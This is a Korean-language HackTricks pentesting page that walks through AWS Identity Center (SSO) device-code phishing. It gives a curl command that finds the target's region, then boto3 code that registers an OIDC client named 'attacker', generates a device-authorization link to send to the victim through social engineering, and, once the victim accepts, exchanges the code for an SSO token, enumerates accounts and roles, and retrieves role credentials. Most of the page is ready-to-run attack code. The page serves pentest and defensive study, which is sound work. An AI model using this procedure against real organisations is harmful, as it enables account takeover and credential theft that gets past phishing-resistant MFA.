AWS - Identity Center & SSO Unauthenticated Enum

Support HackTricks

AWS Device Code Phishing

처음 이 블로그 게시물에서 제안된 바와 같이, AWS SSO를 사용하는 사용자에게 링크를 보내면 사용자가 수락할 경우 공격자는 사용자를 가장할 수 있는 토큰을 얻고 Identity Center에서 사용자가 접근할 수 있는 모든 역할에 접근할 수 있습니다.

이 공격을 수행하기 위한 전제 조건은 다음과 같습니다:

  • 피해자는 Identity Center를 사용해야 합니다.

  • 공격자는 피해자가 사용하는 서브도메인을 알아야 합니다 <victimsub>.awsapps.com/start

이전 정보만으로도, 공격자는 사용자에게 링크를 보낼 수 있으며, 수락할 경우 공격자는 AWS 사용자 계정에 접근할 수 있게 됩니다.

Attack

  1. 서브도메인 찾기

공격자의 첫 번째 단계는 피해자 회사가 Identity Center에서 사용하는 서브도메인을 찾는 것입니다. 이는 OSINT 또는 추측 + BF를 통해 수행할 수 있으며, 대부분의 회사는 여기에서 자신의 이름이나 이름의 변형을 사용할 것입니다.

이 정보를 통해 Identity Center가 구성된 지역을 알 수 있습니다:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. 피해자를 위한 링크 생성 및 전송

다음 코드를 실행하여 피해자가 인증할 수 있도록 AWS SSO 로그인 링크를 생성합니다. 데모를 위해 이 코드를 파이썬 콘솔에서 실행하고 종료하지 마십시오. 나중에 토큰을 얻기 위해 일부 객체가 필요합니다:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

전문적인 소셜 엔지니어링 기술을 사용하여 생성된 링크를 피해자에게 보내세요!

  1. 피해자가 수락할 때까지 기다리세요

피해자가 이미 AWS에 로그인한 경우 권한 부여를 수락하기만 하면 되고, 로그인하지 않은 경우 로그인한 후 권한 부여를 수락해야 합니다. 현재 프롬프트는 다음과 같습니다:

  1. SSO 액세스 토큰 가져오기

피해자가 프롬프트를 수락하면, 이 코드를 실행하여 사용자를 가장하여 SSO 토큰을 생성하세요:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO 액세스 토큰은 8시간 동안 유효합니다.

  1. 사용자 가장하기

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

피싱할 수 없는 MFA 피싱

이전 공격이 "피싱할 수 없는 MFA" (webAuth)가 사용되고 있어도 작동한다는 사실은 재미있습니다. 이는 이전 워크플로우가 사용된 OAuth 도메인을 벗어나지 않기 때문입니다. 사용자가 로그인 도메인을 대체해야 하는 다른 피싱 공격과는 달리, 장치 코드 워크플로우는 코드가 장치에 의해 알려지도록 준비되어 있으며, 사용자는 다른 기기에서도 로그인할 수 있습니다. 프롬프트를 수락하면, 장치는 초기 코드를 알고 있기만 하면 사용자의 자격 증명을 검색할 수 있습니다.

자세한 정보는 이 게시물을 확인하세요.

자동 도구

참고 문헌

HackTricks 지원하기

Last updated